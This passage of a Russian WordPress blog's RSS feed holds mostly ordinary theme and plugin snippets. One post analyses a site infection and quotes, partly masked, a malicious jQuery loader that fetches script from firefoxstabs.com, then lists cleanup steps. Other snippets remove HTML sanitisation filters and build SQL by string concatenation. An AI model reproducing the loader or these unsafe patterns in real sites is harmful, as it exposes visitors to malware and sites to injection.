<p>Зайти в админку в управление своим профилем и убрать галку с чекбокса<br />
<img src="http://saintist.ru/wp-content/uploads/2011/06/wodpress-admin-bar-300x84.png" alt="" title="wodpress admin bar" width="300" height="84" class="aligncenter size-medium wp-image-1451" /></p>
<p>или же в файл functions.php  добавить  строчку</p>
<pre>
add_filter('show_admin_bar', '__return_false');
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/06/12/wordpress-admin-bar-kak-eyo-otklyuchit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress term_description используем html</title>
		<link>http://saintist.ru/2011/05/10/wordpress-term_description-ispolzuem-html/</link>
		<comments>http://saintist.ru/2011/05/10/wordpress-term_description-ispolzuem-html/#comments</comments>
		<pubDate>Tue, 10 May 2011 11:17:42 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1427</guid>
		<description><![CDATA[По умолчанию в WordPress в описание категорий и остальных такосномий невозможно использовать html теги, они попросту убираются фильтрами. Для того чтобы была возможность использовать html в term_description а также в кастом таксономиях убираем фильтры вот этим кодом помещенным в functions.php вашeй темы. /*используем html в описании категорий*/ $filters = array('pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description'); foreach ( [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/05/Practice-HTML-to-WordPress-Conversion-on-these-10-Free-HTML-Templates1.jpg" alt="" title="" width="200" height="200" class="aligncenter size-full wp-image-1428" /></p>
<p>По умолчанию в WordPress  в описание категорий и  остальных такосномий невозможно использовать html  теги, они попросту  убираются фильтрами. Для  того чтобы была возможность использовать html в term_description  а также в кастом таксономиях  убираем  фильтры вот этим кодом  помещенным в functions.php вашeй темы.<br />
<span id="more-1427"></span></p>
<pre>
/*используем html  в описании  категорий*/
$filters = array('pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description');
foreach ( $filters as $filter ) {
    remove_filter($filter, 'wp_filter_kses');
}

foreach ( array( 'term_description' ) as $filter ) {
    remove_filter( $filter, 'wp_kses_data' );
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/05/10/wordpress-term_description-ispolzuem-html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress  404 страница при открытии ссылок категорий</title>
		<link>http://saintist.ru/2011/05/08/wordpress-404-stranica-pri-otkrytii-ssylok-kategorij/</link>
		<comments>http://saintist.ru/2011/05/08/wordpress-404-stranica-pri-otkrytii-ssylok-kategorij/#comments</comments>
		<pubDate>Sun, 08 May 2011 19:33:59 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1420</guid>
		<description><![CDATA[В очередном проекте столкнулся с замечательным багом в вордпресс 3.1.2 Все ссылки на категрии ведут на 404 страницу. Первоначально грешил на кастомные типы данных и кастомную таксономию которую использовал. Но как оказалось дело не в них. Определил о проблема всегда появляется там где используется ЧПУ структура ссылок. Поискав решение в Интернете убедился что проблема есть [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/05/category_wp_bugs1.png" alt="" title="wordpress category bug" width="200" height="200" class="aligncenter size-full wp-image-1421" /><br />
В очередном проекте столкнулся с  замечательным багом в вордпресс 3.1.2  Все ссылки на  категрии ведут на  404  страницу.</p>
<p>Первоначально грешил на   кастомные типы данных  и кастомную таксономию которую использовал. Но как оказалось дело не в них.<span id="more-1420"></span></p>
<p>Определил о  проблема всегда  появляется там где  используется ЧПУ  структура  ссылок.</p>
<p>Поискав решение в Интернете  убедился что проблема есть и не только у меня.</p>
<p>При использовании структуры ссылок по  умолчанию проблема исчезала но  меня этот подход не устраивал. </p>
<p>Нашел  решение в виде плагина убирающего  этот глюк  <a target="blank" href='http://saintist.ru/wp-content/uploads/2011/05/wcs-custom-permalinks-hotfix.1.1.zip'>wcs-custom-permalinks-hotfix.1.1</a></p>
<p>единственный  минус  ссылки то остаются ЧПУ но  открывает страницы категорий по ссылке  по умолчанию  структура  когда, через  301  редирект</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/05/08/wordpress-404-stranica-pri-otkrytii-ssylok-kategorij/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wp_nav_menu  количество  постов  в категориях  меню</title>
		<link>http://saintist.ru/2011/05/04/wp_nav_menu-kolichestvo-postov-v-kategoriyax-menyu/</link>
		<comments>http://saintist.ru/2011/05/04/wp_nav_menu-kolichestvo-postov-v-kategoriyax-menyu/#comments</comments>
		<pubDate>Wed, 04 May 2011 17:04:54 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1414</guid>
		<description><![CDATA[Использование wp_nav_menu очень облегчает создание меню любой сложности с возможностью редактирование их структуры через админ-страницу. Но у таких меню есть небольшой недостаток, если добавлять в динамическое меню ссылки на категории сайта то в меню не отображается количество постов в категории. Вывод количества постов у категорий в wp_naw_menu? как сделать? Все довольно просто, при вставке в [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2011/05/cat_without_num1.jpg"><img src="http://saintist.ru/wp-content/uploads/2011/05/cat_without_num1.jpg" alt="" title="cat_without_num[1]" width="190" height="189" class="aligncenter size-full wp-image-1415" /></a><br />
Использование wp_nav_menu  очень облегчает  создание  меню любой сложности с возможностью  редактирование их  структуры через  админ-страницу. Но у таких  меню есть небольшой  недостаток, если  добавлять в динамическое меню  ссылки на  категории сайта то  в меню не отображается количество  постов в категории.</p>
<p>Вывод  количества постов у категорий в wp_naw_menu? как сделать?<br />
<span id="more-1414"></span></p>
<p>Все довольно  просто, при  вставке в шаблоны  динамических  меню необходимо  в качестве аргумента  walker  указать класс который будет считать  у  пункта меню с типом category   количество постов.</p>
<pre>

wp_nav_menu( array(
'theme_location'=>'category',
'walker'=> new category_count_Walker_Nav_Menu()
) );
</pre>
<p>сам класс</p>
<pre>
	class category_count_Walker_Nav_Menu extends Walker_Nav_Menu  {

	    function start_el(&#038;$output, $item, $depth, $args) {

		global $wp_query;

		$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';

		$class_names = $value = '';

		$classes = empty( $item->classes ) ? array() : (array) $item->classes;

		$classes[] = 'menu-item-' . $item->ID;

		$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) );

		$class_names = ' class="' . esc_attr( $class_names ) . '"';

		$id = apply_filters( 'nav_menu_item_id', 'menu-item-'. $item->ID, $item, $args );

		$id = strlen( $id ) ? ' id="' . esc_attr( $id ) . '"' : '';

		$output .= $indent . '
<li' . $id . $value . $class_names .'>';

		$attributes  = ! empty( $item->attr_title ) ? ' title="'  . esc_attr( $item->attr_title ) .'"' : '';

		$attributes .= ! empty( $item->target )     ? ' target="' . esc_attr( $item->target     ) .'"' : '';

		$attributes .= ! empty( $item->xfn )        ? ' rel="'    . esc_attr( $item->xfn        ) .'"' : '';

		$attributes .= ! empty( $item->url )        ? ' href="'   . esc_attr( $item->url        ) .'"' : '';

		$item_output = $args->before;

		$item_output .= '<a'. $attributes .'>';

		$countPostsCat='';
		if($item->object == 'category'){
			/*$cat = get_the_category($item->object_id); */

            $cats = get_categories(array('include'=>$item->object_id));

        	if($cats[0]->count>0)
        	{
        		$countPostsCat=' ('.$cats[0]->count.')';
        	}

		}

		$item_output .= '<span>'.$args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after.$countPostsCat.'</span>';

		$item_output .= '</a>';

		$item_output .= $args->after;

		$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );

	    }

	}
</pre>
<p>класс необходимо разместить в functions.php  темы </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/05/04/wp_nav_menu-kolichestvo-postov-v-kategoriyax-menyu/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Как русифицировать WordPress</title>
		<link>http://saintist.ru/2011/05/01/kak-rusificirovat-wordpress/</link>
		<comments>http://saintist.ru/2011/05/01/kak-rusificirovat-wordpress/#comments</comments>
		<pubDate>Sun, 01 May 2011 15:11:25 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1401</guid>
		<description><![CDATA[Обращаются часто с вопросами о русификации вордпресс, не самых тем{чем я также занимаюсь, кому интересно подобное обращайтесь} а именно движка, уже установленного и настроенного, т.е. админки WordPress. Делюсь методом как сделать это без заливки на хостинг вручную всевозможных папок с русскими файлами и т.п. 1. Открываем wp-config.php в корне сайта добавляем строчку define('WPLANG', 'ru_RU'); сохраняем [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/05/588-7d76b2c11-259x300.jpg" alt="" title="588-7d76b2c1[1]" width="259" height="300" class="aligncenter size-medium wp-image-1403" /><br />
Обращаются часто с  вопросами о русификации вордпресс, не самых тем{чем я также занимаюсь, кому  интересно подобное обращайтесь}  а именно движка, уже установленного и настроенного, т.е.  админки WordPress. </p>
<p>Делюсь методом как сделать это без  заливки  на  хостинг  вручную всевозможных  папок с русскими файлами и т.п.<br />
<span id="more-1401"></span></p>
<p>1. Открываем wp-config.php  в корне сайта<br />
добавляем строчку</p>
<pre>define('WPLANG', 'ru_RU');</pre>
<p>сохраняем</p>
<p>2. Заходим в админку, в раздел  обновления, жмем <strong>Re-install Automatically</strong><br />
<img src="http://saintist.ru/wp-content/uploads/2011/05/wp-russ-cirilic-300x162.png" alt="" title="wp-russ-cirilic" width="300" height="162" class="aligncenter size-medium wp-image-1402" /></p>
<p>после обновления админка меняет язык на  русский</p>
<p>ps:  вообще не рекомендую использовать сторонние  сборки WordPress, берите  то что на сайте разработчиков, как правило  самопалы довольно кривые</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/05/01/kak-rusificirovat-wordpress/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>firefoxstabs.com  заражает сайты</title>
		<link>http://saintist.ru/2011/04/21/firefoxstabs-com-zarazhaet-sajty/</link>
		<comments>http://saintist.ru/2011/04/21/firefoxstabs-com-zarazhaet-sajty/#comments</comments>
		<pubDate>Thu, 21 Apr 2011 11:56:28 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Новости]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1379</guid>
		<description><![CDATA[Обратился ко мне сегодня знакомый, Денис Каплунов, делал ему сайт, сказал чтоб я заглянул посмотрел что там творится на страницах в нескольких местай выводило код (не привожу полностью ) &#160; document.writ**) ;var x = jQue**y.noConflict(**(function() {var flag = 0;x(window).mous**(function() {if (flag === 0) {flag = 1;x.getScript ( **** firefoxstabs.com ***Math.ra***m().toS**ng().su**ng(3) + &#8216;.js&#8217;, funct**n() {flag = [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/04/bugs21-300x300.gif" alt="" title="firefoxstabs.com" width="300" height="300" class="aligncenter size-medium wp-image-1381" /></p>
<p>Обратился ко мне сегодня знакомый, Денис Каплунов, делал  ему сайт, сказал  чтоб я заглянул посмотрел что там творится</p>
<p>на  страницах в  нескольких местай выводило  код (не привожу полностью )</p>
<p>&nbsp;</p>
<p><strong>document.writ**) ;var x = jQue**y.noConflict(**(function() {var flag = 0;x(window).mous**(function() {if (flag === 0) {flag = 1;x.getScript  ( **** firefoxstabs.com ***Math.ra***m().toS**ng().su**ng(3) + &#8216;.js&#8217;, funct**n() {flag = 2;});}});});</strong></p>
<p>&nbsp;</p>
<p>Анализ показал  что<span id="more-1379"></span> в теме (сайт собран на  WordPress) заражены  header.php  и footer.php ? в конец файлов  был  дописан  указанный выше код.</p>
<p>зачистка ничего не дала</p>
<p>в подвале все  равно продолжал выводиться обозначенный  мусор.</p>
<p>после небольшого поиска нашел  еще  один  сегмент  заразы в js файле лежащем в теме,<br />
сперва подумал что  вредоносный код   идет в файлах темы  строки с подключением сторонних  файлов и  заражает эти файлы (php, js) также , но как оказалось все  хуже.</p>
<p>После зачистки  js  файла код не пропал.</p>
<p>Оказалось что все  js загружаемые   на страницах  сайта также содержат  строку <strong>document.writ**) ;var x = jQue**y.noConflict(**(function() {var flag = 0;x(window).mous**(function() {if (flag === 0) {flag = 1;x.getScript  ( **** <strong>firefoxstabs.com</strong> ***Math.ra***m().toS**ng().su**ng(3) + &#8216;.js&#8217;, funct**n() {flag = 2;});}});});</strong></p>
<p>все  js  плагинов и   подгружаемые  из  ядра  WordPress</p>
<p>т.е. получается   зараза  анализирует страницу  сайта извне и по  указанный путям  для js пытается внедриться</p>
<p>вероятнее всего  был  подсажен  експлоит или троян  потенциальной жертве, слиты  ftp доступы(например из TotalCommander) и дальше  было только  делом времени  последующее заражение сайтов.</p>
<p>Как  показал  поиск  в Инете  дело обстоит довольно  серьезно, очень много  сайтов в сети уже заражены</p>
<p><strong>document.writ**) ;var x = jQue**y.noConflict(**(function() {var flag = 0;x(window).mous**(function() {if (flag === 0) {flag = 1;x.getScript  ( **** firefoxstabs.com ***Math.ra***m().toS**ng().su**ng(3) + &#8216;.js&#8217;, funct**n() {flag = 2;});}});});</strong></p>
<p>сам firefoxstabs.com открывается перекидывая на  80 порт и требует авторизоваться, лезть туда не стоит.</p>
<p><strong>Как удалить  подарок от firefoxstabs.com?</strong></p>
<p>1. Я залил все  файлы  к себе (как вариант написать скрипт поиска по  серверу нужного  куска текстовой строки и вырезать прям там) и поиском нашел все  что было с заразой, примерно  20  файлов js (в теме уже поправил  3 итого  23)</p>
<p>2. Почистил все на  хостинге </p>
<p>3. Поменял пароль на  ftp, если этого не сделать  то раз  в 2-3 дня  ждите  возрождения всего что  удалил</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/04/21/firefoxstabs-com-zarazhaet-sajty/feed/</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>WordPress wp_commentmeta  занимает много места</title>
		<link>http://saintist.ru/2011/04/20/wordpress-wp_commentmeta-zanimaet-mnogo-mesta/</link>
		<comments>http://saintist.ru/2011/04/20/wordpress-wp_commentmeta-zanimaet-mnogo-mesta/#comments</comments>
		<pubDate>Wed, 20 Apr 2011 13:45:22 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1373</guid>
		<description><![CDATA[Обратились ко мне с проблемой по поводу WordPress. База занимала слишком много места хотя постов было около сотни + раза в два больше комментариев. Анализ показал что таблица wp_commentmeta жирна до неприличия )). В дампе занимала примерно 230 метров, в памяти сервера более гига. Как подсказали буржуйские друзья виной всему плагин Akismet, конфликтует с чем-то [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/04/fat1-203x300.jpg" alt="" title="Жирный  WordPress" width="203" height="300" class="aligncenter size-medium wp-image-1374" /></p>
<p>Обратились ко мне с проблемой по  поводу WordPress. База  занимала слишком много места хотя постов было около сотни + раза в два больше  комментариев.</p>
<p>Анализ показал  что таблица wp_commentmeta   жирна до неприличия )). В дампе занимала примерно  230  метров, в памяти сервера более гига.</p>
<p>Как подсказали буржуйские друзья виной всему плагин  Akismet, конфликтует с чем-то там он,  для  спама  при удалении не  зачищает метаданные спамных комментариев.</p>
<p>Лечится двумя запросами к бд.<span id="more-1373"></span></p>
<p>1. убираем все записи метаданных  для несуществующих  комментариев.</p>
<pre>DELETE FROM wp_commentmeta WHERE comment_id NOT IN (SELECT comment_id FROM wp_comments)
</pre>
<p>2. Оптимизируем  таблицы базы .</p>
<pre>OPTIMIZE TABLE *
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/04/20/wordpress-wp_commentmeta-zanimaet-mnogo-mesta/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress Contact form 7 вставка в шаблон  без  шорткода</title>
		<link>http://saintist.ru/2011/04/17/wordpress-contact-form-7-vstavka-v-shablon-bez-shortkoda/</link>
		<comments>http://saintist.ru/2011/04/17/wordpress-contact-form-7-vstavka-v-shablon-bez-shortkoda/#comments</comments>
		<pubDate>Sun, 17 Apr 2011 12:59:27 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1367</guid>
		<description><![CDATA[Популярный плагин Contact form 7 часто применяеют на своих сайтах многие пользователи, благодаря удобному интерфейсу и простому использованию на любой странице и в любом посте можно вставить заранее подготовленную форму, используя шорткоды. Но как добавить код формы Contact form 7 непосредственно в шаблон темы? Одной строчкой кода. < ? = do_shortcode ( ' [ contact-form [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1368" title="Contact form 7 без шорткода" src="http://saintist.ru/wp-content/uploads/2011/04/screenshot-11-300x232.png" alt="" width="300" height="232" /></p>
<p>Популярный плагин  Contact form 7 часто    применяеют на своих сайтах  многие пользователи, благодаря удобному интерфейсу и простому использованию на любой странице и в любом посте можно  вставить заранее подготовленную форму, используя шорткоды.</p>
<p><strong>Но как добавить   код  формы  Contact form 7 непосредственно  в  шаблон темы?</strong> </p>
<p>Одной строчкой  кода.<br />
<span id="more-1367"></span></p>
<pre>
< ? = do_shortcode ( ' [ contact-form 1 "Форма тема для статьи" ] ' ); ? >
</pre>
<p> где
<pre>[ contact-form 1 "Форма тема для статьи" ]</pre>
<p> наш шорткод ))</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/04/17/wordpress-contact-form-7-vstavka-v-shablon-bez-shortkoda/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WordPress удалить ссылку читать далее</title>
		<link>http://saintist.ru/2011/03/29/wordpress-udalit-ssylku-chitat-dalee/</link>
		<comments>http://saintist.ru/2011/03/29/wordpress-udalit-ssylku-chitat-dalee/#comments</comments>
		<pubDate>Tue, 29 Mar 2011 10:29:16 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1346</guid>
		<description><![CDATA[Уже был пост по то как отключить вывод ссылок [Читать далее] в списке постов. Этот способ отключает ссылку read more через фильтры, также через него можно при желании кастомизировать внешний вид ссылки. Удаляем ссылку читать далее function clear_more_link() { return false; } add_filter('the_content_more_link', 'clear_more_link'); а таким образом выводим ссылку своего вида function custom_more_link($post){ return ' [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/03/readmore1.jpg" alt="" title="wordpress read more" width="200" height="200" class="aligncenter size-full wp-image-1347" /><br />
Уже  был  пост по  то  как отключить вывод  ссылок  [Читать далее] в списке постов. Этот способ  отключает ссылку read more через  фильтры, также через него можно при желании  кастомизировать внешний вид ссылки.<br />
<span id="more-1346"></span></p>
<p>Удаляем ссылку читать далее</p>
<pre>
function clear_more_link() { return false; }
add_filter('the_content_more_link', 'clear_more_link');
</pre>
<p>а таким образом  выводим ссылку своего  вида</p>
<pre>
function custom_more_link($post){
    return ' html  код  ссылки';
}
add_filter('the_content_more_link', 'custom_more_link');
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/03/29/wordpress-udalit-ssylku-chitat-dalee/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress поалфавитный вывод постов</title>
		<link>http://saintist.ru/2011/03/27/wordpress-poalfavitnyj-vyvod-postov/</link>
		<comments>http://saintist.ru/2011/03/27/wordpress-poalfavitnyj-vyvod-postov/#comments</comments>
		<pubDate>Sat, 26 Mar 2011 22:27:55 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1342</guid>
		<description><![CDATA[Поставлена задача организовать поалфавитный вывод постов. Т.е. необходимо реализовать следующий функционал. Список ссылок вида а, б, в, г, д и т.п. и чтобы при переходе по таким ссылкам выводились список постов начинающиеся на указанный символ. Делюсь простым и элегантным решением. Все будет завязано на стандартном поиске WordPress/ Делаем вывод нашего поалфавитного меню наш &#171;алфавитный набор [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/03/post_pete-karras-abc-alphabetic-art1.jpg" alt="" title="алфавитный вывод постов" width="300" height="250" class="aligncenter size-full wp-image-1343" /><br />
Поставлена задача организовать поалфавитный вывод постов. Т.е.  необходимо реализовать следующий функционал. Список  ссылок вида а, б, в, г, д и т.п. и чтобы  при переходе по таким ссылкам  выводились  список постов начинающиеся на указанный символ.</p>
<p>Делюсь простым и элегантным решением.<br />
<span id="more-1342"></span></p>
<p>Все будет завязано на  стандартном поиске WordPress/</p>
<p>Делаем вывод  нашего поалфавитного меню</p>
<p>наш &#171;алфавитный набор символов&#187; </p>
<pre>$alphabetic_string='абвгд'; </pre>
<p>разбиваем строку в  массив</p>
<pre>
$alphabetic_string = preg_split('//u',$alphabetic_string,-1,PREG_SPLIT_NO_EMPTY);
</pre>
<p>в цикле  генерим  ссылки вида url_сайта?s=наша_буква</p>
<p>теперь основной момент</p>
<p>результаты будут выводиться на странице результатов поиска темы.<br />
немного модифицируем ее код</p>
<p>до  блока перебора  перебора постов добавим условие если  строка поиска  состоит из  одного символа то  выполняем  код</p>
<pre>
$first_char = urldecode(get_query_var('s'));
$query = $GLOBALS['wp_query'];
$postids=$wpdb->get_col($wpdb->prepare("
SELECT      ID
FROM        $wpdb->posts
WHERE       SUBSTR($wpdb->posts.post_title,1,1) = %s
ORDER BY    $wpdb->posts.post_title",$first_char));
if ($postids) {
$args=array(
  'post__in' => $postids,
  'post_type' => 'post',
  'post_status' => 'publish',
  'caller_get_posts'=> 1,
  'orderby'=>'title',
  'order'=>'asc',
  'paged'=>$query->get( 'paged' )
);
query_posts($args);
</pre>
<p>решение поддерживает пагинацию</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/03/27/wordpress-poalfavitnyj-vyvod-postov/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress Обрезка  первых  n слов</title>
		<link>http://saintist.ru/2011/03/25/wordpress-obrezka-pervyx-n-slov/</link>
		<comments>http://saintist.ru/2011/03/25/wordpress-obrezka-pervyx-n-slov/#comments</comments>
		<pubDate>Thu, 24 Mar 2011 21:52:55 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1336</guid>
		<description><![CDATA[Случается необходимость вывода четко заданного количества слов из сообщения в посте. Эта функция облегчит задачу. function get_word_content($limit) { $permalink = get_permalink(); global $post; $content = explode(' ', get_the_content(), $limit); if (count($content)>=$limit) { array_pop($content); $content = implode(" ",$content).'... [код ссылки]'; } else { $content = implode(" ",$content); } $content = preg_replace('/\[.+\]/','', $content); $content = apply_filters('the_content', $content); [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/03/581px-Word_Count_1800.svg1_-300x173.png" alt="" title="первые т слов wordpress" width="300" height="173" class="aligncenter size-medium wp-image-1337" /><br />
Случается необходимость вывода четко заданного количества слов из  сообщения в посте.<br />
Эта функция облегчит  задачу.<br />
<span id="more-1336"></span></p>
<pre>
function get_word_content($limit) {
  $permalink = get_permalink();
  global $post;
  $content = explode(' ', get_the_content(), $limit);
  if (count($content)>=$limit) {
    array_pop($content);
    $content = implode(" ",$content).'... [код ссылки]';
  } else {
    $content = implode(" ",$content);
  }
  $content = preg_replace('/\[.+\]/','', $content);
  $content = apply_filters('the_content', $content);
  $content = str_replace(']]&gt;', ']]&gt;', $content);
  return $content;
}
</pre>
<p>а это для  excerpt</p>
<pre>
function excerpt($limit) {
  $excerpt = explode(' ', get_the_excerpt(), $limit);
  if (count($excerpt)>=$limit) {
    array_pop($excerpt);
    $excerpt = implode(" ",$excerpt).'...';
  } else {
    $excerpt = implode(" ",$excerpt);
  }
  $excerpt = preg_replace('`\[[^\]]*\]`','',$excerpt);
  return $excerpt;
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/03/25/wordpress-obrezka-pervyx-n-slov/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wordpress пагинация, номер текущей страницы</title>
		<link>http://saintist.ru/2011/03/24/wprdpress-pagenavi-current-page/</link>
		<comments>http://saintist.ru/2011/03/24/wprdpress-pagenavi-current-page/#comments</comments>
		<pubDate>Thu, 24 Mar 2011 09:17:47 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Юзабилити]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1326</guid>
		<description><![CDATA[При выводе большого количества постов через query_posts на странице сталкиваемся с проблемой определения номера текущей страницы, существует несколько решений, но есть одно универсальное. $query = $GLOBALS['wp_query']; $paged = $query->get( ‘paged’ );]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/03/pagenavi-300x23.png" alt="" title="pagenavi current page" width="300" height="23" class="aligncenter size-medium wp-image-1327" /><br />
При выводе большого  количества постов  через query_posts на странице сталкиваемся с проблемой определения  номера текущей страницы, существует несколько решений, но есть одно  универсальное.<br />
<span id="more-1326"></span><br />
<strong>$query = $GLOBALS['wp_query'];<br />
$paged = $query->get( ‘paged’ );</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/03/24/wprdpress-pagenavi-current-page/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress список тегов категории</title>
		<link>http://saintist.ru/2011/03/17/wordpress-spisok-tegov-kategorii/</link>
		<comments>http://saintist.ru/2011/03/17/wordpress-spisok-tegov-kategorii/#comments</comments>
		<pubDate>Thu, 17 Mar 2011 15:43:55 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wp_tag]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1311</guid>
		<description><![CDATA[Еще одна хорошая процедура возвращающая список тегов в указанных категориях в виде массива объектов function get_tags_category($args) { global $wpdb,$table_prefix; $tags = $wpdb->get_results (" SELECT DISTINCT terms2.term_id as tag_id, terms2.name as tag_name, t2.count as count FROM wp_posts as p1 LEFT JOIN ".$table_prefix."term_relationships as r1 ON p1.ID = r1.object_ID LEFT JOIN ".$table_prefix."term_taxonomy as t1 ON r1.term_taxonomy_id = [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/03/Wordpress-Tags-Plugins1-300x192.png" alt="" title="Wordpress список тегов из категории" width="300" height="192" class="aligncenter size-medium wp-image-1312" /><br />
Еще одна хорошая процедура возвращающая список тегов в указанных категориях в виде  массива объектов<br />
<span id="more-1311"></span></p>
<pre>
function get_tags_category($args) {
	global $wpdb,$table_prefix;
	$tags = $wpdb->get_results
	("
		SELECT DISTINCT  terms2.term_id as tag_id, terms2.name as tag_name, t2.count as count
		FROM
			wp_posts as p1
			LEFT JOIN ".$table_prefix."term_relationships as r1 ON p1.ID = r1.object_ID
			LEFT JOIN ".$table_prefix."term_taxonomy as t1 ON r1.term_taxonomy_id = t1.term_taxonomy_id
			LEFT JOIN ".$table_prefix."terms as terms1 ON t1.term_id = terms1.term_id,

			wp_posts as p2
			LEFT JOIN ".$table_prefix."term_relationships as r2 ON p2.ID = r2.object_ID
			LEFT JOIN ".$table_prefix."term_taxonomy as t2 ON r2.term_taxonomy_id = t2.term_taxonomy_id
			LEFT JOIN ".$table_prefix."terms as terms2 ON t2.term_id = terms2.term_id
		WHERE
			t1.taxonomy = 'category' AND p1.post_status = 'publish' AND terms1.term_id IN (".$args['categories'].") AND
			t2.taxonomy = 'post_tag' AND p2.post_status = 'publish'
			AND p1.ID = p2.ID
		ORDER by tag_name
	");
	$count = 0;
	foreach ($tags as $tag) {
		$tags[$count]->tag_link = get_tag_link($tag->tag_id);
		$count++;
	}
	return $tags;
}
</pre>
<p>используется   вот так, в качестве аргумента  задаем масив  с перечислением  id катеорий из которых взять теги</p>
<pre>
$tags=get_tags_category(array('categories'=>'2,10,88'));
</pre>
<p>в результат получим  id тега, название, ссылку на страницу тега и количество постов</p>
<pre>
Array
(
    [0] => stdClass Object
        (
            [tag_id] => 13
            [tag_name] => Land Rover
            [count] => 1
            [tag_link] => http://site-ugodno.ru/tag/land-rover/
        )

    [1] => stdClass Object
        (
            [tag_id] => 12
            [tag_name] => Mersedes
            [count] => 1
            [tag_link] => http://site-ugodno.ru/tag/mersedes/
        )

    [2] => stdClass Object
        (
            [tag_id] => 11
            [tag_name] => Porsche Cayenne
            [count] => 1
            [tag_link] => http://site.ru/tag/porsche-cayenne/
        )

)
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/03/17/wordpress-spisok-tegov-kategorii/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WordPress количество  постов  в категории</title>
		<link>http://saintist.ru/2011/03/16/wordpress-kolichestvo-postov-v-kategorii/</link>
		<comments>http://saintist.ru/2011/03/16/wordpress-kolichestvo-postov-v-kategorii/#comments</comments>
